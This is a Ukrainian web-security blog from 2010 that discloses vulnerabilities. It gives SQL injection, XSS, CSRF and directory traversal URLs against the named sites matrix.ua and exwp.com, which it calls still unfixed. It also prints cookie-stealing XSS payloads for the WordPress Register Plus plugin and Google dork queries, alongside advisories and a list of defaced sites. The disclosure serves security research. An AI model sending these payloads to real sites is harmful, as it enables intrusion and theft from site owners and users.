Websecurity - Веб безпека

16.09.2010

У травні, 15.05.2010, я знайшов Insufficient Anti-automation та Abuse of Functionality уразливості в Joomla. Уразливості мають місце в компоненті com_contact, що є стандартним компонентом Joomla. Які я виявив на сайті www.school.gov.ua. Про що найближчим часом повідомлю розробникам.

Про подібні уразливості я писав в статті Розсилка спаму через сайти та створення спам-ботнетів.

Також раніше я вже писав про уразливості в DS-Syndicate для Joomla.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам системи.

27.11.2010

Insufficient Anti-automation:

http://site/contact/

На сторінці контактів немає захисту від автоматизованих запитів (капчі).

Abuse of Functionality:

http://site/contact/

Опція “E-mail a copy of this message to your own address.” на сторінці контактів дозволяє розсилати спам з сайта на довільні емайли. А з використанням Insufficient Anti-automation уразливості можна автоматизовано розсилати спам з сайта в великих обсягах.

Уразливі всі версії Joomla з даним функціоналом (Joomla! 1.5.22 та попередні версії).

Розробники Joomla відмовилися виправляти дані уразливості в своїй системі.

Виявлена можливість виконання довільного коду в Google Chrome.

Уразливі версії: Google Chrome 6.x.

Уразливість дозволяє віддаленому зловмиснику виконати довільний код на цільовій системі. Уразливість існує через помилку у використанні уразливої версії Flash плагіна. Нападник може заманити користувача на спеціально створений сайт, що приведе до виконання довільного коду.

• Выполнение произвольного кода в Google Chrome (деталі)

Окрім “Warning” Google хакінга існують інші види запитів, по яким можна шукати дірки на веб сайтах. Зокрема “Error” Google хакінг, про який я вже давно запланував написати. Це ще один різновид Гугл хакінга - використання пошукових систем (зокрема Гугла) для пошуку уразливостей на сайтах.

Дана методика передбачає використання Гугла (чи інших пошукових систем) з метою пошуку повідомлень на сайтах про помилки, і дозволяє знайти важливу інформацію стосовно даних сайтів. За допомогою спеціальних пошукових запитів (дорків) можна знайти Full path disclosure та Information leakage уразливості на різноманітних сайтах в Інтернеті.

Зокрема можна використовувати наступні “еррор” пошукові запити:

“Software error” “htdocs”

“Software error” “home”

“Software error” “www”

“Software error” “program files”

“Software error” “apache”

“MySQL Fatal Error”

“MySQL Error”

“You have an error in your SQL syntax”

“Application error” “SQL syntax”

“Application error” “htdocs”

06.04.2010

У вересні, 22.09.2009, я знайшов SQL Injection уразливості на проекті http://matrix.ua (інтернет магазин). Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на citycom.ua. Також раніше я вже писав про уразливості на matrix.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

26.11.2010

SQL Injection:

http://matrix.ua/search/?pmin=1%20and%20version()=5%20limit%201/*&keyword=1

http://matrix.ua/search/?pmax=1%20and%20version()=5%20limit%201/*&keyword=1

Дані уразливості досі не виправлені.

Продовжуючи розпочату традицію, після попереднього відео про захист електронної пошти, пропоную нове відео на веб секюріті тематику. Цього разу відео про захмарну веб безпеку (тобто про “хмарний” веб секюріті сервіс). Рекомендую подивитися всім хто цікавиться цією темою.

Web security in the Cloud

В відео розповідається про надання послуги веб безпеки з використанням хмарних технологій, зокрема на прикладі хмарного (cloud) секюріті продукту від Zscaler. Та про його переваги над традиційними рішеннями. Про подібний хмарний секюріті продукт від Google я вже писав раніше.

Рекомендую подивитися дане відео для розуміння сучасної ситуації з безпекою в Інтернет.

Виявлена Cross-Site Scripting уразливість в Apache Tomcat.

Уразливі версії: Apache Tomcat 6.0, Tomcat 7.0.

Міжсайтовий скриптінг у додатку Manager.

• Apache Tomcat Manager application XSS vulnerability (деталі)

07.04.2010

У вересні, 27.09.2009, я знайшов Cross-Site Request Forgery, Cross-Site Scripting, Directory Traversal та Full path disclosure уразливості на проекті http://exwp.com (обмінник веб грошей). Про що найближчим часом сповіщу адміністрацію проекту.

Останній раз стосовно обмінників веб грошей я писав про уразливості на www.popolni.com.ua.

Детальна інформація про уразливості з’явиться пізніше.

25.11.2010

CSRF:

http://exwp.com/firebook/cash/?URLproxy=http://site;

Можливі CSRF та DoS атаки на інші сайти.

XSS (з використанням методів обходу ModSecurity):

http://exwp.com/firebook/cash/?URLproxy=%3Cxss%3E

http://exwp.com/guestbook/index.html?answer=%3Cxss%3E

http://exwp.com/guestbook/index.html?answer=guestbook/guest/1274704418_EX00.html;page=%22%3E%3Cxss%3E

Directory Traversal:

http://exwp.com/firebook/cash/?param=1;show=../.htaccess;

http://exwp.com/guestbook/index.html?answer=guestbook/guest/%2E%2E/index.html

Full path disclosure:

http://exwp.com/firebook/cash/?param=1;show=param.txt;

http://exwp.com/guestbook/index.html?answer=guestbook/guest/1

Дані уразливості досі не виправлені. Лише одна Directory Traversal виправлена, але в ній витоки інформації все ще можливі в папках в кореневій директорії веб сервера (де не заборонений доступ).

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://alyosha.in.ua (хакером baDsectQr)
• http://www.malintrade.com (хакером BADBOY з AHG)
• http://www.antins.net (хакером baDsectQr) - 14.11.2010, зараз сайт вже виправлений адмінами
• http://concept-textile.com.ua (хакером GoLDbErK) - 23.11.2010, зараз сайт вже виправлений адмінами
• http://liftprom.com.ua (хакерами з Prishtina Hackers Group) - 21.11.2010, зараз сайт вже виправлений адмінами

Виявлені численні уразливості Microsoft Forefront Unified Access Gateway.

Уразливі версії: Microsoft Forefront Unified Access Gateway 2010.

Міжсайтовий скриптінг, перенаправлення запитів.

• Important Vulnerabilities in Forefront Unified Access Gateway (UAG) Could Allow Elevation of Privilege (2316074) (деталі)

17.09.2010

У травні, 02.05.2010, я знайшов Cross-Site Scripting, Insufficient Anti-automation та Full path disclosure уразливості в плагіні Register Plus для WordPress. Які я виявив на сайті codecamp.org.ua. Про що найближчим часом повідомлю розробникам.

4 XSS уразливості в даному плагіні першим виявив Dementor, про що він мені повідомив коли ми обговорювали уразливості на секюріті сайті codecamp.org.ua. І коли я зайшов на даний сайт перевірити XSS дірки, я заодно виявив й інші дірки. А потім досліджуючи даний плагін я виявив ще 5 XSS дірок (в інших полях, які не використовувалися на codecamp.org.ua, але є в даному плагіні). Зазначу, що Insufficient Anti-automation уразливість в плагіні подібна до аналогічної IAA в самому WordPress.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам плагіна.

24.11.2010

XSS:

POST запит на сторінці http://site/wp-login.php?action=register
"><script>alert(document.cookie)</script>В полях: First Name, Last Name, Website, AIM, Yahoo IM, Jabber / Google Talk, Password, Confirm Password.
</textarea><script>alert(document.cookie)</script>В полі: About Yourself.

Insufficient Anti-automation:

http://site/wp-login.php?action=register

В формі реєстрації немає захисту від автоматизованих запитів (капчі). В самому WordPress також є подібна уразливість.

Full path disclosure:

http://site/wp-content/plugins/register-plus/dash_widget.php

http://site/wp-content/plugins/register-plus/register-plus.php

Уразливі версії плагіна Register Plus 3.5.1 та попередні версії. Також до Insufficient Anti-automation уразливі WordPress 3.0.1 та попередні версії. Враховуючи, що даний плагін більше не підтримується розробником, то його користувачам потрібно виправити дірки власноруч.